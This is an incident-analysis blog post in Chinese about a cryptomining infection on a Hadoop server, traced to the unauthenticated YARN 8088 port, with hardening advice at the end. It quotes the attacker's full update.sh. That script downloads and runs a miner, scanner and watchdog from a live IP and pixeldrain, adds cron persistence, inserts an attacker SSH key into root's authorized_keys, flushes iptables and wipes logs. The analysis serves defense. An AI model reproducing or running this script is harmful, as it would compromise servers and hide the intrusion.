服务器被植入挖矿木马程序纪实（第二次）

其他 2020-04-16 20:55:33 阅读次数: 0

今天这篇文章的标题是“服务器被植入挖矿木马程序纪实（第二次）”，为什么加了个“第二次”，因为之前已经发生过一次（可点此查看：服务器被植入挖矿木马程序纪实）。当时只是解决了问题，没有找到根本原因，这次又碰到了，情形和上次略有不同，好在最终找到了原因所在，下面细细说来。

一、发现问题

首先是接到运维同事告知，说服务器有频繁的异常请求，导致端口访问被服务商阻断：
在这里插入图片描述
二、解决问题

有了上次的经验，首先查看crontab，发现有一个不认识的调度：

*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1

查看文件/tmp/update.sh，内容如下：

[hadoop@db01 tmp]$ more /tmp/update.sh
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
miner_url="https://pixeldrain.com/api/file/3myaXqqZ"
miner_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate"
miner_size="854364"
sh_url="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.sh"
sh_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.sh"
config_url="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/config.json"
config_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/config.json"
config_size="3300"
scan_url="https://pixeldrain.com/api/file/aQWIprw_"
scan_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice"
scan_size="2209848"
watchdog_url="https://pixeldrain.com/api/file/knkIaq6F"
watchdog_url_backup="http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard"
watchdog_size="1645344"

kill_miner_proc()
{
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "[email protected]"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f systemctI
    pkill -f WmiPrwSe
    crontab -r
    rm -rf /var/spool/cron/*
}
downloads()
{
    if [ -f "/usr/bin/curl" ]
    then
        echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/url" ]
    then
        http_code = `url -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            url --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            url --connect-timeout 10 --retry 100 $1 > $2
        else
            url --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
        then
                wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/get" ]
    then
        get --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            get --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

kill_sus_proc()
{
    ps axf -o "pid"|while read procid
    do
            ls -l /proc/$procid/exe | grep /tmp
            if [ $? -ne 1 ]
            then
                    cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
                    if [ $? -ne 0 ]
                    then
                            kill -9 $procid
                    else
                            echo "don't kill"
                    fi
            fi
    done
    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
    do
            cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
            if [ $? -ne 0 ]
            then
                    kill -9 $procid
            else
                    echo "don't kill"
            fi
    done
}

kill_miner_proc
kill_sus_proc

if [ -f "$rtdir" ]
then
        echo "i am root"
        echo "goto 1" >> /etc/sysupdate
        chattr -i /etc/sysupdate*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
            chattr -i /etc/networkservice
        if [ ! -f "/usr/bin/crontab" ]
                then
                        echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
                else
                        [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
        fi
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPK+J+AIJvoCX67fFzfbNU5MT816KDmggltbgEI0hKZRdmMMe1ao/3CEgIzeqGbTff1suT/F1POUjGrf5t/ZqyIJzCIBKqNs
xzM4tRNxrIGrqKnZypRlXdX+uZNaxmNJZGkkmtdeseekped0WnWk5SsvbYghBn4y9lZnsO+C1EgjLNWkbRPuoo/RkWTIXDmB7M7UcfYf+sSpApACt8DRydSEkeY709WtL0aANnN057Wnp/Okv+bu
M4mnkuteLtZvCAySt7PVBrCKyhItZx9VX/TMegljt/UPDaKfAeWF14Q1ORLRQkzZt9k+pY/ccNNbS53OmG0NhQ/awchmgXUpsP [email protected]" >> /root/.ssh/authorized_keys


        cfg="/etc/config.json"
        file="/etc/sysupdate"

        if [-f "/etc/config.json" ]
        then
                filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
                if [ "$filesize_config" -ne "$config_size" ]
                then
            pkill -f sysupdate
                        rm /etc/config.json
            downloads $config_url /etc/config.json $config_url_backup
                else
                        echo "no need download"
                fi
        else
                downloads $config_url /etc/config.json $config_url_backup
    fi

    if [ -f "/etc/sysupdate" ]
    then
            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ]
            then
                pkill -f sysupdate
                rm /etc/sysupdate
                downloads $miner_url /etc/sysupdate $miner_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $miner_url /etc/sysupdate $miner_url_backup
    fi

    if [ -f "/etc/sysguard" ]
    then
            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ]
            then
                pkill -f sysguard
                rm /etc/sysguard
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /etc/sysguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/update.sh $sh_url_backup

    if [ -f "/etc/networkservice" ]
    then
            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ]
            then
                pkill -f networkservice
                rm /etc/networkservice
                downloads  $scan_url /etc/networkservice $scan_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $scan_url /etc/networkservice $scan_url_backup
    fi

    chmod 777 /etc/sysupdate
    ps -fe|grep sysupdate |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not root runing"
                sleep 5s
                ./sysupdate &
    else
                echo "root runing....."
    fi
        chmod 777 /etc/networkservice
    ps -fe|grep networkservice |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not roots runing"
                sleep 5s
                ./networkservice &
    else
                echo "roots runing....."
    fi
    chmod 777 /etc/sysguard
    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /etc
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "roots runing....."
        fi


    chmod 777 /etc/sysupdate
    chattr +i /etc/sysupdate
        chmod 777 /etc/networkservice
        chattr +i /etc/networkservice
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/update.sh
    chattr +i /etc/update.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys
else
    echo "goto 1" > /tmp/sysupdates
    chattr -i /tmp/sysupdate*
        chattr -i /tmp/networkservice
    chattr -i /tmp/config.json*
    chattr -i /tmp/update.sh*

    if [ ! -f "/usr/bin/crontab" ]
        then
                        echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
        else
                        [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
        fi

        if [ -f "/tmp/config.json" ]
        then
                filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
                if [ "$filesize1" -ne "$config_size" ]
                then
            pkill -f sysupdate
                        rm /tmp/config.json
            downloads  $config_url /tmp/config.json $config_url_backup
                else
                        echo "no need download"
                fi
        else
                downloads $config_url /tmp/config.json $config_url_backup
        fi

    if [ -f "/tmp/sysupdate" ]
    then
        filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
        if [ "$filesize1" -ne "$miner_size" ]
        then
                pkill -f sysupdate
                rm /tmp/sysupdate
                downloads $miner_url /tmp/sysupdate $miner_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $miner_url /tmp/sysupdate $miner_url_backup
    fi

    if [ -f "/tmp/sysguard" ]
    then
            filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ]
            then
                pkill -f sysguard
                rm /tmp/sysguard
                downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
    fi

    echo "i am here"
    downloads $sh_url /tmp/update.sh $sh_url_backup

    if [ -f "/tmp/networkservice" ]
    then
        filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
        if [ "$filesize2" -ne "$scan_size" ]
        then
                pkill -f networkservice
                    rm /tmp/networkservice
                downloads $scan_url /tmp/networkservice $scan_url_backup
        else
                echo "no need download"
        fi
    else
            downloads $scan_url /tmp/networkservice $scan_url_backup
    fi

    ps -fe|grep sysupdate |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmp runing"
                cd /tmp
                chmod 777 sysupdate
                sleep 5s
                ./sysupdate &
            else
                echo "tmp runing....."
        fi
        ps -fe|grep networkservice |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 networkservice
                sleep 5s
                ./networkservice &
            else
                echo "tmps runing....."
        fi

    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "tmps runing....."
        fi

    chmod 777 /tmp/sysupdate
    chattr +i /tmp/sysupdate
        chmod 777 /tmp/networkservice
        chattr +i /tmp/networkservice
        chmod 777 /tmp/sysguard
        chattr +i /tmp/sysguard
    chmod 777 /tmp/update.sh
    chattr +i /tmp/update.sh
    chmod 777 /tmp/config.json
    chattr +i /tmp/config.json

fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

上次是删除crontab的这个调度后恢复正常，这次不一样，删除调度后，不一会又在crontab里面生成同样的调度。觉得这里有点奇怪，应该是有另外一个程序在写crontab，于是执行top命令，发现有两个COMMAND为“networkservice”的进程，占用了大量的CPU，该进程在hadoop用户下。找到进程的启动文件，位于/tmp目录。/tmp目录包含以下文件：
在这里插入图片描述
可以看到，/tmp目录有一个networkservice的文件（无法直接打开查看），应该是它启动了挖矿程序。那是什么原因导致crontab里面的调度被删除后又会自动生成呢？接着查看top命令的结果，发现hadoop用户下还有一个COMMAND为“java”的进程，对应的启动文件是/tmp/sysguard（无法直接打开查看），将该进程kill，问题解决。

三、排查原因

这次和上次有不同的地方，上次是删除crontab就解决问题，这次是删除crontab后又会自动生成，需要kill掉/tmp/sysguard启动的进程。那么/tmp/sysguard这个进程究竟做了哪些操作，因为看不到源代码，所以没法确切得知具体内容，不过在/tmp目录下发现有几个像951_og、248_og这样的文件，打开其中一个，内容如下：

http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/config.json,/tmp/config.json
no need download
not need download
i am here
http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.sh,/tmp/update.sh
https://pixeldrain.com/api/file/aQWIprw_,/tmp/networkservice
not tmp runing
not tmps runing
hadoop   17110     1  0 04:30 ?        00:00:01 ./sysguard
tmps runing.....

在这里看出了一些端倪，应该是进程运行日志，这些日志信息在文件/tmp/update.sh里面能找到，例如：

    ps -fe|grep sysupdate |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmp runing"
                cd /tmp
                chmod 777 sysupdate
                sleep 5s
                ./sysupdate &
            else
                echo "tmp runing....."
        fi
        ps -fe|grep networkservice |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 networkservice
                sleep 5s
                ./networkservice &
            else
                echo "tmps runing....."
        fi

    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /tmp
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "tmps runing....."
        fi

脚本会检查sysupdate、networkservice 、sysguard这3个进程是否启动，没有则启动。

这两次中招都是在hadoop用户下，此用户安装了hadoop大数据平台相关软件，于是想着是不是哪个软件有漏洞，在网上一查，有很多关于利用yarn未授权漏洞挖矿的文章：
在这里插入图片描述
在yarn的运行日志里面搜索矿池IP，果然搜到了相关信息：
在这里插入图片描述
四、总结经验

本次服务器中招是由于yarn的8088端口被攻击，可从以下方面对安全进行加固：（参考：https://www.cnblogs.com/qcloud1001/p/9173253.html）

1、通过iptables或者安全组配置访问策略，限制对8088等端口的访问；
2、如无必要，不要将接口开放在公网，改为本地或者内网调用；
3、启用Hadoop的Kerberos认证功能，禁止匿名访问。

完毕。

andyguan01_2
发布了116 篇原创文章 · 获赞 37 · 访问量 12万+
私信 关注

猜你喜欢

转载自blog.csdn.net/andyguan01_2/article/details/89925397
今日推荐
中国码农的“35岁魔咒”
蘭雅 CorelDRAW 插件 2024.5.1 国际劳动节版，免费下载
Arc Browser for Windows 1.0 正式 GA
90后程序员开发视频搬运软件、不到一年获利超 700 万，结局很刑！
《美国对全球网络空间安全与发展的威胁和破坏》报告发布
周排行
[编程题]学英语
[codeforces 1288A] Deadline 约数+模
Python的web开发
Docker在Centos 7上的部署
python编码
解决Ubuntu16.04 fatal error: json/json.h: No such file or directory
mysql并发插入
rest接口如何适应jsonp的方案
linux 终端上网设置
高数——等号两边同时求导、积分的解释
每日归档
更多
2024-05-04(7)
2024-05-03(19)
2024-05-02(0)
2024-05-01(4)
2024-04-30(1)
2024-04-29(40)
2024-04-28(0)
2024-04-27(56)
2024-04-26(39)
2024-04-25(22)

代码天地 © 2018 codetd.com

境外服务器   最新电视剧2022